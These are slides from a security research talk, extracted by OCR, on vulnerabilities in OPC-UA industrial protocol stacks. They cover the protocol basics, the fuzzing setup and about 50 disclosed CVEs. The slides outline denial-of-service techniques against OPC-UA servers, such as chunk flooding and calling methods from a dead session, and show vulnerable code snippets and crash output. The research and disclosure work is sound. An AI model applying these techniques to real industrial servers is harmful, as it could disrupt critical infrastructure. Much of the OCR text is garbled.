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Background

Researched dozens of OPC-UA protocol

stacks and products

Found core issues in protocol
implementations

~50 CVEs: DoS, Info leaks, RCE
~12 unique generic attacks

Open-source tools
. OPC-UA fuzzer
. OPC-UA exploitation framework

Three Pwn20wn ICS ~$200k &

$

Complex Dee Unlimited

Stack/Application Name Lang Neste%bc\,lgrian?s Star?rla::::rbos SO0g ERRE Monitored Items l::?nsv;rl:il:n‘:
node-opcua NodeJS Vv CVE-2022-21208 CVE-2022-24375 Vv
open62541 c \" CVE-2022-25761 \"
freeopcua (c++) C++ \" Vv
python-opcua Python v CVE-2022-25304 "
opcua-asyncio Python Vv CVE-2022-25304 "
eclipse-milo Java Vv Vv Vv
ASNeG OpcUaStack C++ " CVE-2022-24381 Vv
locka89 Rust CVE-2022-25903 Vv CVE-2022-25888 Vv
Unified Automation C++ Vv Vv
OPC Foundation .NET Stack C# JVE-2021-27432 (* Vv Vv
Softing OPC UA SDK C++ v Vv Vv Vv
Prosys OPC UA Java \" CVE-2022-30551 \") Vv Vv
OPC UA Legacy Java Stack Java \') CVE-2022-30551 \") \" Vv

Kepware KEPServerEX C/C++ 4 = X .

$




How Did We Do That?
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What’s the Problem?
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What is OPC-UA?

Open Platform Communications -
Unified Architecture

Protocol for data exchange
between industrial devices and
systems

. Server: stores tags/variables

. Client: requests tags/variables

Widely accepted standard for
industrial communications
. Supported in Azure/AWS loT cloud
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OPC Foundation

OPC Foundation, specs first version ~2006
 opcfoundation.org

Lesson learned from “OPC Classic”
. Platform independent, scalable, secure

Detailed specifications

. Information Model: Object types, how to encode

. Services: Supported services such as read, write, etc
. Security: Authentication, authorization, encryption

. Many more

OPC 10000-1: UA Part 1: Overview and Concepts

OPC 10000-2: UA Part 2: Security

OPC 10000-3: UA Part 3: Address Space Model

OPC 10000-4: UA Part 4: Services

OPC 10000-5: UA Part 5: Information Model

OPC 10000-6: UA Part 6: Mappings

OPC 10000-7: UA Part 7: Profiles

OPC 10000-8: UA Part 8: DataAccess

OPC 10000-9: UA Part 9: Alarms and Conditions


https://reference.opcfoundation.org/

Protocol Stacks and Frameworks
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OPC-UA Protocol Stacks

To expedite popularity,
OPC Foundation created
the first OPC-UA

protocol stacks

. ANSI C
Java
NET

OPC-UA Application (Server/Gateway/Client)

JAVA API/SDK

Java Stack

Java Runtime

.NET API/SDK

.NET Stack

.NET Runtime

Win / Linux API

Operating System

C/C++ API/SDK

ANSI C Stack



OPC-UA Supply Chain

With time, vendors integrated the base
stacks and modified some of its code

Currently, OPC Foundation lists more
than 500 different products

Login « Create Account « ContactUs [jiifj (@] EE

FOUNDATION
The Industrial Interoperability Search =~

Standard™

— OPC Marketplace v

MARKETPLACE

Discover OPC servers, clients, toolkits and services from
members of the OPC Foundation.

X o
ﬁj Delete all Filters Certified —o-
O

. Search By v Search

KEPServerEX ¢

KEPServerEX is the industry's leading communications platform that leverages OPC and IT-centric
communication protocols to provide a single source of industrial automation data to all of your
applications. The platform design allows users to connec...

> Show details

|

https://opcfoundation.org/products



https://opcfoundation.org/products

OPC-UA Supply Chain

The problem, is that
most products are
heavily relying on the
base protocol stacks
from OPC Foundation

OEM
White-labeling a product

_ Product
OPC UA Server, Client

. SDK
Exposing some API for integration

Core Library

Most are based on OPC Foundation libs




Top Products

S I
PROSYS ) v
UA Automation OPC Foundation Prosys OPC UA Softing Integration KEPServerEx
C++ Server OPC UA .NET SDK for JAVA Server
Ei)l(otlesngzd Proprietary ; Proprietary Proprietary Proprietary
+ + +

Core lib

FOUNDATION

FCUNDAIIOh]aV FOUNDATI DN



Focus on the Protocol Stacks

So we wanted to find ~ OEM

_ White-labeling a product
vulns in the base
protocol stacks Product

OPC UA Server, Client

. SDK
Exposing some API for integration

— oo e |

Core Library
Most are based on OPC Foundation libs




Protocol Stacks

Programing Is Open
We also researched popular products

such as: node-opcua NodeJS Yes
] : open62541 C Yes
Softing Secure Integration Server PR—— ot Vos
PTC Kepware KEPServerEx python-opcua Python Yes
Triangle Microworks SCADA Data AIFEAIICE Finen Yes
eclipse-milo Java Yes

Gateway ASNeG OpcUaStack C+ Yes
Honeywell Matrikon ke Rust ves
_ _ o Unified Automation C++ No

Softing OPC UA SDK C++ No

Prosys OPC UA Java No

OPC UA Legacy Java Stack Java Yes

S20PC C Yes

LibUA C# Yes


https://github.com/node-opcua/node-opcua
https://github.com/open62541/open62541
https://github.com/FreeOpcUa/freeopcua
https://github.com/FreeOpcUa/python-opcua
https://github.com/FreeOpcUa/opcua-asyncio
https://github.com/eclipse/milo
https://github.com/ASNeG/OpcUaStack
https://github.com/locka99/opcua
https://www.unified-automation.com/
https://opcfoundation.org/
https://industrial.softing.com/products/opc-ua-and-opc-classic-sdks/opc-ua-c-sdks-for-windows.html
https://www.prosysopc.com/
http://opcfoundation.github.io/UA-Java-Legacy/
https://gitlab.com/systerel/S2OPC
https://github.com/nauful/LibUA

Bits and Bytes
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OPC-UA Nodes

Everything is a node

. Variable (e.g. “Water Level”)

. Type of the Variable value (e.g. Float)

Nodes are.identified by [ns, i] rdae?aﬁf)ace 0 "
- NodelD (i=1) (rasD, I3}
. Namespace ID (ns=0) Address L

Space

Namespace is a container for nodes

- Namespace 0: default namespace and

contains the default nodes

Node
[ns=1, i=3]

Namespace 1 o
H

Address Space provide a standard way for i
servers to represent objects to clients




OPC-UA Services

Our interaction with the server is via request/response fashion. In
most cases we are doing some “action” on nodes.

Examples:
Service Set Service Name Description
Read Service Read values from attributes of nodes
Attribute
Write Service Write values to attributes of nodes
Method Call Service Call (invoke) a list of methods.
View Browse Navigate through the AddressSpace - find Node

references

OPC 10000-4: UA Part 4: Services



https://reference.opcfoundation.org/Core/Part4/v104/docs/

Example

Variable with

Fill Valve DataType Boolean

Variable with

Discharge Valve DataType Boolean

Variable with

Flow Meter DataType Float

Variable with

Water Level DataType Float

Start/Stop Method WATER_LEVEL :51




Nodes Encoding [ns=0, i=446]

Table 9 - Four Byte Nodeld Binary DataEncoding

Name Data Type Description
Namespace Byte The Namespace shall be in the range 0 to 255. SpeCificationS
Identifier Uint16 The Identifier Type is ‘Numeric’.

The Identifier shall be an integer in the range 0 to 65 535.

61 74 69 6T 6e 2e 6f 72 67 2f 55 foundati on.org

75 72 69 74 79 50 6f 6¢c 69 63 79 A/Securi tyPoli

£ ff £f ff ff ff ff ff 33 00 00  #None Y :
o1§be 8100 00 4a 58 9a 2 61 s Binary Representation
60 U0 e 60 00 00 ff Ff ff ff 00

00 00 00 00 00 00 00 00 00 01 00

00 00 e@ 93 04 00

v Message : Encodeable Object
v Typeld : ExpandedNodeld
NodeId EncodingMask: Four byte encoded Numeric (0x01)

NodeId Namespace Index: 0 = Binary ParSing

Nodeld Identifier Numeric: OpenSecureChannelRequest (446 )@
v OpenSecureChannelRequest




Example: Read Service: Reading 12 Nodes

16:17:34.725702 47 10.10.6.181 10.10.7.10 Ocha UA Secure Conversation Messaae: ReadRequest
16:17:34.729503 49 10.10.7.10 10.10.6.181 OpcUa UA Secure Conversation Message: ReadResponse

Security Sequence Number: 54
Security RequestId: 4
v OpcUa Service : Encodeable Object !
v Typeld : ExpandedNodeld MS GF
NodeId EncodingMask: Four byte encoded Numeric (9x01) ' 6
NodeId Namespace Index: @ =
NodeId Identifier Numeric: ReadRequest (631)
v ReadRequest
» RequestHeader: RequestHeader
MaxAge: ©
TimestampsToReturn: Neither (0x00000003)
v NodesToRead: Array of ReadValueld
ArraySize: 20
v [@]: ReadValueld
» Nodeld: Nodeld
AttributeId: Value (0x0000000d)
IndexRange: [OpcUa Null String]
» DataEncoding: QualifiedName
[1]: ReadValueld
[2]: ReadValueld
[3]: ReadValueld
[4]: ReadValueld
[5]: ReadValueld
[6]: ReadValueld
[7]: ReadValueld
[8]: ReadValueld
[9]: ReadValueld
[10]: ReadValueld
[11]: ReadValueld
[12] : ReadValueld

---B-- NCEj
T:%-Tur- -~"-=Yb

Y V vV Y Y Y Y Y Y Y YYy




HEL: Hello message

Client

{ HEL |
[ HELResponse |-



HEL

HEL: Hello message Client Server
Endpoint URL s N
! HEL Response !

Create Secure Channel \

« Scheme - must be opc.tcp or opc.https
« Server address
« Port

« Discovery endpoint

opc.tcp://[SERVER _IP:62541/UA/Server

Frame 1: 145 bytes on wire (1160 bits), 145 bytes captured (1160 bits) on interfac

Ethernet II, Src: Eve_@a:ef:83 (00:0c:6c:0a:ef:83), Dst: VMware_0d:ed:50 (00:0c:2¢ @@

Internet Protocol Version 4, Src: 10.10.6.181, Dst: 10.10.7.11 N Mebiifepacap
Transmission Control Protocol, Src Port: 49422, Dst Port: 62541, Seq: 1, Ack: 1, | 0030 I--HE LF[
OpcUa Binary Protocol

: op c.tcp://
Message Type: HEL desktopE eq75§55:
Chunk Type: F 62541/Qu ickstart

s/Refere nceServe

Message Size: 91
Version: @ r
ReceiveBufferSize: 65536

SendBufferSize: 65536

MaxMessageSize: 16777216
MaxChunkCount: 5000
EndpointUrl: opc.tcp://desktop-eq75855:62541/Quickstarts/ReferenceServer




HEL: Hello message

OPN: OpenSecureChannel message

Client

— HEL Response —

[opn]

OPN Response __}




OPN

HEL: Hello message Client Server

OPN: OpenSecureChannel message

—

! HEL Response
[ OPN |

Create Secure Channel

Security Mode

{ OPN Response J'

« None
) Security Settings O X
e Si gn Security Mode Security Policy
None ® Basic128Rsalb
° Sig n & Encrypt Sign Basic256
® Sign & Encrypt Basic256Sha256
Aes128Sha256Rsa0aep
Aes256Sha256RsaPss

v/ Show only modes that are supported by the server
v/ Always prompt for Security Settings

o) ome

SecurityPolicies supported by Prosys OPC-UA server




OPN

HEL: Hello message Client Server

OPN: OpenSecureChannel message

! HEL Response |
[ OPN |

Create Secure Channel

Authentication

—

{ OPN Response

« Anonymous
Authentication Settings

- Username/password ® Anonymous

]!

. . gn U Stor
Certificate O Sermame

Password

Certificate

Private Key

Authentication settings for an OPC-UA client, shown using
UAExeprt



OPN

HEL: Hello message
OPN: OpenSecureChannel message

- Security Mode and Policy
« Authentication

Client

Server

! HEL Response }

[ OPN |

Create Secure Channel

{ OPN Response J'

Data To Sign <

7

Message Header

Security Header

Sequence Header

Body

Padding

Signature

> Data To Encrypt

J

OPC UA Secure Conversation MessageChunk



https://reference.opcfoundation.org/v104/Core/docs/Part6/6.7.2/

CreateSession

HEL: Hello message
OPN: OpenSecureChannel message

MSG: A generic message container. Some service
will be used.

Client

Server

l HEL Response }

[ OPN |

{ OPN Response J'

Create Secure Channel

| MSG: CreateSession |

{ CreateSession Response |

| MSG: ActivateSession ,[

~—| ActivateSession Response I——

Create Sess“’"/




CreateSession

HEL: Hello message

OPN: OpenSecureChannel message

MSG: A generic message container. Some service

will be used.

Create Session + Activate

®* Configure the session (e.g. timeout,

message size, etc)

| Client

Server

[ HEL | R
b

-

I HEL Response
OPN

Create Secure Channel>>

{ OPN Response Jl

y

| MSG: CreateSession }

I

{ CreateSession Response |

Create Session

/
| MSG: ActivateSession | /

'—{ ActivateSession Response }—

v ICr

eateSessionRequest

> RequestHeader: RequestHeader

> ClientDescription: ApplicationDescription

ServerUri: [OpcUa Null String]

EndpointUrl: opc.tcp://desktop-ad29i88:62541/Quicksta

SessionName: [OpcUa Empty String]

ClientNonce: 0000000000000000000000000000000000000000¢
ClientCertificate: <MISSING>[OpcUa Null ByteString]
RequestedSessionTimeout: 1200000
MaxResponseMessageSize: 16777216




Full Session

HEL: Hello message
OPN: OpenSecureChannel message

MSG: A generic message container (secured with
the channel’s keys)

CLO: CloseSecureChannel message

Client Server
HEL
HEL Response
Create Secure Channel
OPN

| OPN Response |

MSG: CreateSession

| CreateSession Response |

MSG: ActivateSession

ActivateSession Response

Create Session

MSG: Browse

Browse Response

MSG: CreateSubscription

CreateSubscription Response

MSG: MonitoreditemsCreate
MonitoredltemsCreate Response




Research Methodology
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Building Basic OPC-UA Client

Why?
* Hands-on
* Focus on logic

* Customizable to our vuln research
needs

= OPCUA(ip_addr, port, query_string)

How? .session_timeout = 3600 * 1000

* Specification
* Protocol analysis + Wireshark

.requested_lifetime = 3600 % 1000
.max_chunk _size = max_chunk _size

.create_session()

@ EreeOpcUa Python OPC-UA
(Python)

@ Prosys OPC-UA Browser (Java)

@ Unified Automation UaExpert
(C/C++)



https://github.com/FreeOpcUa/python-opcua
https://www.prosysopc.com/products/opc-ua-browser/
https://www.unified-automation.com/products/development-tools/uaexpert.html

Building the Setup

<1 localhost.t82.co - Virtual Machines
¥3 Create / Register VM | | (3 Refresh |
I ntel N U C x 2 (] Virtual machine v  Status v Used space
P I ntel CO re |7_1 1 65G7 |E| (31 Win10-x64-01-Softing OPC UA Secure Integration Server... = & Normal 50 GB
- (3] Win10-x64-02-Prosys - OPC UA SDK for Java & Normal 50 GB
¢ 32 G B RAM [ (31 Win10-x64-03-OPC Foundation-OPC UA .NET Standard & Normal 50 GB
0 @ Win10-x64-05-Kepware-KEPServerEx @ Normal 54.08 GB
] (P Win10-x64- Unified Automation UaGateway & Normal 54.08 GB
. U (¥ Win10-x64-06-Inductive Automation Ignition & Normal 54.08 GB
Installed VMware ESXi

Prepared a Windows 10 x64 Image
~10 machines per NUC




Installing & Configuring Targets

Protocol Stack Libraries Gateways
Unified Automation - ANSI C Stack - C Triangle Microworks SCADA Data Gateway

OPC Foundation - .NET Standard - .NET Softing Secure Integration Server
OPC Foundation - Java Legacy - Java
Prosys OPC UA SDK for Java - Java
FreeOpcUA opcua-asyncio Python

Clients

PTC Kepware KepServerEx
Prosys OPC UA Browser

Softing edgeAaggreqator

Eclipse Milo - Java

Node-opcua - Node JS

Open62541 - C
OPC UA rust — Rust

Inductive Automation Ignition

OPC UA Servers

Inductive Automation Ignition

Unified Automation UaGateway

PTC Kepware KepServerEx

FOUNUDATTI ON

Prosys OPC UA Simulation Server

Softing edgeConnector



https://www.unified-automation.com/products/server-sdk/ansi-c-ua-server-sdk.html
https://github.com/OPCFoundation/UA-.NETStandard
https://github.com/OPCFoundation/UA-Java-Legacy
https://www.prosysopc.com/products/opc-ua-java-sdk/
https://github.com/FreeOpcUa/opcua-asyncio
https://github.com/eclipse/milo
https://github.com/node-opcua/node-opcua
https://github.com/open62541/open62541
https://github.com/locka99/opcua
https://inductiveautomation.com/
https://www.unified-automation.com/products/ua-runtime-software/uagateway.html
https://www.ptc.com/en/products/kepware/kepserverex
https://www.prosysopc.com/products/opc-ua-simulation-server/
https://industrial.softing.com/products/docker/edgeconnector-siemens.html
https://www.trianglemicroworks.com/products/scada-data-gateway/overview
https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html
https://www.ptc.com/en/products/kepware/kepserverex
https://www.prosysopc.com/products/opc-ua-browser/
https://industrial.softing.com/products/docker/edgeaggregator.html
https://inductiveautomation.com/

Network Fuzzer

Released open-source OPC-UA

Info: Receiving...

SRER [ 2022-12-19 :59,3
uzzer, based on noorTuzz
J B [2022-12-19 H ) Info: Sending 146 bytes...
2022-12-19 :03,5 Info: Target connection
2022-12-19 103
2022-12-19 103
Sl [ 2022-12-19 103 4113. Sleeping
B 2022-12-10 5:p3Seconds rema : 4053. Sleeping
AAA AA aAn \ ~aCornndc _rnoma - 2002 Clooning
Found 2 heap/stack overflow 8 Conmar
2022-12-19 ©3:24: Info: Receiving...

[

[2022-12-19 ©3:25:03,554]

[2022-12-19 ©3:25:03,554] Info: Sending 134 bytes...
[2022-12-19 ©3:25:03,554] Info: Target connection reset.
[2022-12-19 ©3:25:03,554]

[2022-12-19 ©3:25:03,554]
[
[
[
[
[

2022-12-19 ©3:25:03,554] Info: Sending 95 bytes...
2022-12-19 ©3:25:03,570]
2022-12-19 ©3:25:03,570]

I . 6 S .
. 2022-12-19 ©3:25:03,570] Info: Closing target connection...
2022-12-19 ©3:25:03,570] Info: Connection closed.
° ‘ }a ‘ ErVIC‘ ! [2022-12-19 ©3:25:083,570] Test Case: 7785: browse_next_request:[browse_next_request.opcua_service.browse_next_request.re

quest_header.audit_enty_id_95bebe24-4d53-414d-8a24-22bbd9bb905f.randomized_string:®, browse_next_request.opcua_service.b
rowse_next_request.continuation_points.continuation_point_ee75639b-1524-4145-b155-07296d4cd90a.randomized_bytes:6, brows

: e_next_request.opcua_service.browse_next_request.request_header.additional_header.body.body_item f240e5f9-5577-444e-b576
o rowse erVICe -e276a0276a2b.randomized_bytes:9]

[2022-12-19 ©3:25:03,570] Info: Type: RandomData
[2022-12-19 ©3:25:03,570] Info: Opening target connection (127.0.0.1:62541)...
[

. 2022-12-19 ©3:25:05,632] Info: Cannot connect to target; retrying. Note: This likely indicates a failure caused by

° rowse eX erVICe the previous test case, or a target that is slow to restart.

[2022-12-19 ©3:25:05,632]
. . . 2022-12-19 ©3:25:05,632] Info: Restarting target process using CallbackMonitor

2022-12-19 ©3:25:05,632]

° Create Su bscrl ptlon Se rVICe 2022-12-19 ©3:25:05,632] Info: Closing target connection...

L
. Add Nodes Service
. . C:\Users\user\Desktop\ProtocolFu r\src\opcua_pwn2own>

. History Read Service 5 O m~ o B « 1 iy

https://github.com/claroty/opcua_network fuzzer

2022-12-19 ©3:25:05,632] Info: No reset handler available... sleeping for 5 seconds - =
2022-12-19 ©3:25:10,632] Info: Opening target connection (127.0.0.1:62541)... Activate Windows

[

[

[

[2022-12-19 ©3:25:05,632] Info: Connection closed.

i

[2022-12-19 ©3:25:12,679] Info: Unable to reconnect to target: Reached threshold of 1 retfi@i0 Sallings taactvate Windd



https://github.com/claroty/opcua_network_fuzzer

Fuzzers: Coverage Based

__AFL_HAVE_MANUAL_CONTROL

Found old source-code for ANSI C 1148 _APLIRITO;
1750 unsigned char xpData = __ AFL_FUZZ_TESTCASE_BUF;

int Size = __ AFL_FUZZ_TESTCASE_LEN;
OpcUa_MessageContext_Initialize(&cContext);

1751 (__AFL_LOOP(100000)) {
OPC-UA stack 1752
56 cContext.KnownTypes = &0pcUa_ProxyStub_g_EncodeableTypes;
. 1757 cContext.NamespaceUris = &0pcUa_ProxyStub_g_NamespacelUris;
Used bOth Ileuzzer / AFL cContext.AlwaysCheckLengths = OpcUa_False;
uStatus = OpcUa_MemoryStream_ CrmteRcadable(pData Size, &p

(uStatus !'= OpcUa_Good)
uStatus = Och1 BlmryDecoder Create(&pDecoder)

Wrote small harness, mostly to fuzz the AFL harness
decode routines -
https://github.com/linshengi/UA-AnsiC

] [
] i
] ¥
J [
J ¥
] [
] C
J !
J C

e e e e e e ) e b
el D Fan U

libFuzzer burning CPUs


https://github.com/linshenqi/UA-AnsiC

Control the Fuzzers

@ research_team82_status 4 v

Dozens of fuzzers running

. Network based: using boofuzz

. Memory/Coverage based: using AFL, =S
libfuzzer & OPC UA DONET

. Closed binary: using WinAFL, il
UnicornAFL (CPU Emulator)

Monitored everything through
Slackbot (3

Collected millions of corpus




Specs & RE

Looking for esoteric and complex features/mechanisms

What will developers overlook?

Reverse engineer and code review to observe different
Implementations

Pre-auth (HEL, OPN) vs post-auth



Specs & RE

) ) 6.7.2.2 Message Header
LOO kl n g fo r eSOte rl C a n d CO m p I eX Every MessageChunk has a Message header with the fields defined in Table 41.

featu re S/m e Ch a n | S m S Table 41 - OPC UA Secure Conversation Mess
Name Data Description
. Type
Wh at Wi I I d eve I O pe rS Ove rl OO k? MessageType Byte [3] A three byte ASCII code that identifies the Message type.

The following values are defined at this time:
MSGA Message secured with the keys associated with a channel.
OPN OpenSecureChannel Message.

Reve FSG e n g | n ee r a n d COd e CLO CloseSecureChannel Message.

reV| ew tO O bse rve d |ﬁ:e re nt IsFinal Byte A one byte ASCII code that indicates whether the MessageChunk is the finz
] . The following values are defined at this time:

Im plementatlons C An intermediate chunk.

-* F The final chunk.

A The final chunk (used when an error occurred and the Message is aborte
This field is only meaningful for MessageType of 'MSG’

P re-a uth ( H E L , O P N ) VS pOSt_a Uth This field is always 'F’ for other MessageTypes.

What happens if we are not sending the Final flag?

https://reference.opcfoundation.orq/v104/Core/docs/Part6/6.7.2/



https://reference.opcfoundation.org/v104/Core/docs/Part6/6.7.2/

Specs & RE

LOO k| N g fo r eSOte ri C an d com p I ex Table 19 - CloseSession Service Parameters
features/mechanisms ame pe pascrpoon
Request

. requestHeade RequestHeader Commo st parameters |( 7.28 fo

What will developers overlook? SERSRE SRR i
-* deleteSubscriptions Boolean If the value is TRUE, the Server deletes all
) Subscriptions associated with the Session. If
Reverse engineer and code the value is FALSE, the Server keeps the
. . ﬁ Subscriptions associated with the Session until

review to Obse rve d ifrere nt they timeout based on their own lifetime.

Implementations

What happens if we keep all
Pre-auth (HEL, OPN) vs post-auth subscriptions alive?

https://reference.opcfoundation.orq/Core/Part4/v104/docs/5.6.4
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Vulnerabilities and Exploits
Denial of Service - Servers



Agenda

What is OPC-UA?

Protocol Stack Implementations
Bits and Bytes

Research Methodology
Vulnerabilities and Exploits
OPC-UA Exploitation Framework

Summary



OPC-UA Server - Denial of Service

__________ . : Water Level
is 77?7
dlﬁ Proprietary
I ICS Protocol .

Water Tank PLC Server/Gateway OPC-UA Client




Denial of Service - Vectors

- Resource exhaustion: uncontrolled memory management
- Threads deadlock

. Use after free bugs

. Buffer overflows: heap/stack corruption

. Uncaught exceptions

. Busy loops / unlimited recursions: call-stack overflow



Denial of Service — Attack Concepts

Resource exhaustion - uncontrolled
memory management
e Chunk Flooding
« Unlimited ConditionRefresh Attack
« Unlimited Persistent Monitored
Subscriptions
* Unlimited Open Channels
Threads deadlock
« Worker Starvation
Use-after-free bugs
« Method Calling From Dead Session
« Add/Remove From Namespace
While Browsing

Buffer overflows - heap/stack corruption
» Unicode Conversion - OOB Write
Uncaught exceptions
» Parser Bug - Dissecting Malformed
OPC-UA Data Type
Busy loops / unlimited recursions —
call-stack overflow
 Complex Deep Nested Variants
(OTORIO)
 Certificate Chain Loop (Sector7)
« Unlimited Translate Browse Path (JFrog)



Denial of Service — Attack Concepts

Resource exhaustion - uncontrolled
memory management
e Chunk Flooding
« Unlimited ConditionRefresh Attack
« Unlimited Persistent Monitored
Subscriptions
* Unlimited Open Channels
Threads deadlock
« Worker Starvation
Use-after-free bugs
« Method Calling From Dead Session
« Add/Remove From Namespace
While Browsing

Buffer overflows - heap/stack corruption
» Unicode Conversion - OOB Write
Uncaught exceptions
» Parser Bug - Dissecting Malformed
OPC-UA Data Type
Busy loops / unlimited recursions —
call-stack overflow
 Complex Deep Nested Variants
(OTORIO)
 Certificate Chain Loop (Sector7)
« Unlimited Translate Browse Path (JFrog)



Denial of Service - Chunk Flooding

6.7.2.2 Message Header +

Every MessageChunk has a Message header with the fields defined in Table 41.

OpcUa Binary Protocol

Table 41 - OPC UA Secure Conversation Message header . 149 -

Data Message Type: MSG

Name Description
Type Chunk Type: C
A three byte ASCII code that identifies the Message type. Messa g e Si1ze: 7514
The following values are defined at this time: - - - - - e
MessageType Byte [3] MSG A Message secured with the keys associated with a ¢ S ecure C h anne 1 I d . 34

OPN OpenSecureChannel Message.

Security Token Id: 1
A one byte ASCII code that indicates whg e Message( Secu rlty Sequence Numbe rs 904
“The following values are defined 3 ime: Se cur lt y Req Uest I d o 2
| C An intermediate chunk. I
IsFinal Byte F The final chunk.

CLO CloseSecureChannel Message.

A The final chunk (used when an error occurred and the Message is aborted).
This field is only meaningful for MessageType of ‘MSG’
This field is always ‘F’ for other MessageTypes.



Denial of Service - Chunk Flooding

bool ProcessRequestMessage(uint messageType, ArraySegment<byt

(TcpMessageType.IsAbort(messageType))

Utils.T ("R t borted.");
chanisngiscesgqueéetggiegcgznis(requestId, messageBody) ; OPC'UA -NET StaCK
true;

{

( TcpMessageType.IsFinal(messageType))

SaveIntermediateChunk(requestld, messageBody);
true;




Denial of Service - Chunk Flooding

while !'isFinalChunk:
add (chunk)

N\

> SG Chunk Chunk
'#'iﬁg O ]) - Chunk  -- MsG  MSG _. MSG _,
Attack Chunk . MSG un
acker . OPC-UA

Server/Gateway



Denial of Service - Chunk Flooding

while !'isFinalChunk:
add (chunk)

-— MSG
\ f\l..lnk
MSG b]
Chunk MSG
D Chunk [SG
MSG MS. <hunk
Final ©O et > Chunk (
Attacker OPC-UA

Server/Gateway



Denial of Service - Chunk Flooding

Security Environment Strings

UUUUUUUU

Private Bytes

— > Chunk [ISG
> . M hunk

MS G O — — m m e m 6.5GB S L _ _ __ > Chunk
Final _O o - —|—|

Attacker L oy OPC-UA
R [NTWTTIW L Server/Gateway




Denial of Service - Chunk Flooding

Security Environmen t Strings

Image Performance Performance Graph GPU Graph Threads TCP/IP
CPU Usag
J\ . L ! i
] ikl L ARLAAN 1 B k
Quickstarts.ReferenceServer.exe - System Error X

'i@i' A new guard page for the stack cannot be created.

> -
MSG
Final CoTTTTTTT
QK
Attacker ‘ ) L '
MWM&& I, gl
0 VI A
CVE-2022-21208 CVE-2022-24381 T

CVE-2022-25761 CVE-2022-25888
CVE-2022-25304 CVE-2022-29864

-—= MSG

\ n,l..lnk

Chunk MSG |
Chunk [SG

 Ms. <hunk

Chunk '

OPC-UA
Server/Gateway



Denial of Service — Attack Concepts

Resource exhaustion - uncontrolled
memory management
e Chunk Flooding
* Unlimited ConditionRefresh Attack
* Unlimited Persistent Monitored
Subscriptions
* Unlimited Open Channels
Threads deadlock
« Worker Starvation
Use-after-free bugs
 Method Calling From Dead Session
 Add/Remove From Namespace While
Browsing

Buffer overflows - heap/stack corruption
» Unicode Conversion - OOB Write
Uncaught exceptions
» Parser Bug - Dissecting Malformed
OPC-UA Data Type
Busy loops / unlimited recursions —
call-stack overflow
 Complex Deep Nested Variants
(OTORIO)
 Certificate Chain Loop (Sector7)
« Unlimited Translate Browse Path (JFrog)



Denial of Service - Method Calling From Dead Session

5 Service Sets » ® ® @uamethod

def multiply(parent, x, y):
5.11 Method Service Set » ® ©

print("multiply method call with parameters: ", x, y)
5.11.2Call+ 0 ® FEEHEN A Y

5.11.2.1 Description 4 Example to exposed function (python-opcua)

This Service is used to call (invoke) a list of Methods.

This Service provides for passing input and output arguments to/from a Method. These arguments are defined by Properties of the
Method.

If the Method is invoked in the context of a Session and the Session is terminated, the results of the Method’s execution cannot be
returned to the Client and are discarded. This is independent of the task actually performed at the Server.

The order the operations are processed in the Server is not defined and depends on the different tasks and the internal Server logic.
If a Method is contained in more than one operation, the order of the processing is undefined. If a Client requires sequential
processing the Client needs separate Service calls.

https://reference.opcfoundation.orq/v104/Core/docs/Part4/5.11.2/
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Denial of Service - Method Calling From Dead Session

5 Service Sets » ® ® @uamethod

def multiply(parent, x, y):
5.11 Method Service Set » ® ®

print("multiply method call with parameters: ", x, y)
5.11.2Call+ 0 ® FEEHEN A Y

5.11.2.1 Description 4 Example to exposed function (python-opcua)

This Service is used to call (invoke) a list of Methods.

This Service provides for passing input and output arguments to/from a Method. These arguments are defined by Properties of the
Method.

If the Method is invoked in the context of a Session and the Session is terminated, the results of the Method’s execution cannot be
returned to the Client and are discarded. This is independent of the task actually performed at the Server.

The order the operations are processed in the Server is not defined and depends on the different tasks and the internal Server logic.
If a Method is contained in more than one operation, the order of the processing is undefined. If a Client requires sequential
processing the Client needs separate Service calls.

https://reference.opcfoundation.orq/v104/Core/docs/Part4/5.11.2/
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Denial of Service - Method Calling From Dead Session

dn 20 I IBRRAB Re=2EF L=

[I ]App!-;x a display filter ... <Ctrl-/>

Did aII StaCks im plement th is Iio' 49 2?1:28593 i:ur;§021 S:Tgtlgnw

5@ 2.130028 10.51.0.21 12.10.7.10

!
Correctly? (I E1 A 12DAEQ 121 7 1 1 1 A MM

Security Token Id: 1
Security Sequence Number: S
Security RequestId: 6

Ex IOit. Vv OpcUa Service : Encodeable Object
p . ' Typeld : ExpandedNodeld

Vv C(CallRequest

. quead”eqw adﬁ —
. Sendlng many Ca” MethOd F:let::::;:::il 2:;r'ay of CallHethodRequest1
Request
. And immediately close the session

I [@]: CallMethodRequest
+ [1]: CallMethodRequest

+ [2]: CallMethodRequest

I [3]: CallMethodRequest
[4]: CallMethodRequest

[5]: CallMethodRequest

I + [6]: CallMethodRequest
+ [7]: CallMethodRequest

+ [8]: CallMethodRequest

I [9]: CallMethodRequest
[1@]: CallMethodRequest

[11]: CallMethodRequest

| R ST R VRN S T T T S ———

<

() 7  AarraySize (opcua.variant.ArraySize), 4 bytes




Denial of Service - Method Calling From Dead Session

MSG
Call Method 1
- cH S S - [0 o

Call Method n
Attacker OPC-UA

Server/Gateway



Denial of Service - Method Calling From Dead Session

MSG
Call Method 1

[ Call Method 2 ]
Call i\'/l'ethod n

Attacker OPC-UA
Server/Gateway



Denial of Service - Method Calling From Dead Session

MSG
Call Method 1
[ Call Method 2 |

Call i\'/l'ethod n

Attacker OPC-UA
Server/Gateway



Denial of Service - Method Calling From Dead Session

MSG
Call Method 1
[ Call Method 2

Call i\'/l'ethod n

(2] oo T — S

Attacker OPC-UA
Server/Gateway



Denial of Service - Method Calling From Dead Session

MSG
Call Method 1
[ Call Method 2

Call 'IV'Iethod n

R

OPC-UA
Server/Gateway




Denial of Service - Method Calling From Dead Session

Softing Secure Integration Server

MSG OTServerMethodCallRequest: :setInputReturns API((int)a3, 1, &src);
Call Method 1 L : =
OTServerDataTransactlon..getSesklon(
Call Method 2

tion,

. OTServerMethodCallTransaction):
Call Method n ’ M 11 ction);



Denial of Service - Method Calling From Dead Session

Softing Secure Integration Server

MSG OTServerMethodCallRequest: :setInputReturns API((int)a3, 1, &src);
Call Method 1 L : =
Call Method 2 OTServerDatalransaction: .getSesIs ion(
(OTServerDataTransaction *)&0TServerDatalransaction,
OTServerMethodCalllransaction);

Call Method n

(d24.1736): Access violation - code c9000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

ntdll!RtlEnterCriticalSection+0xd:
00B07ff2 1529faad feOfba710800 lock btr dword ptr [r‘cx+8],6 ds : 00000000 80000028=222222??

CVE-2022-1748



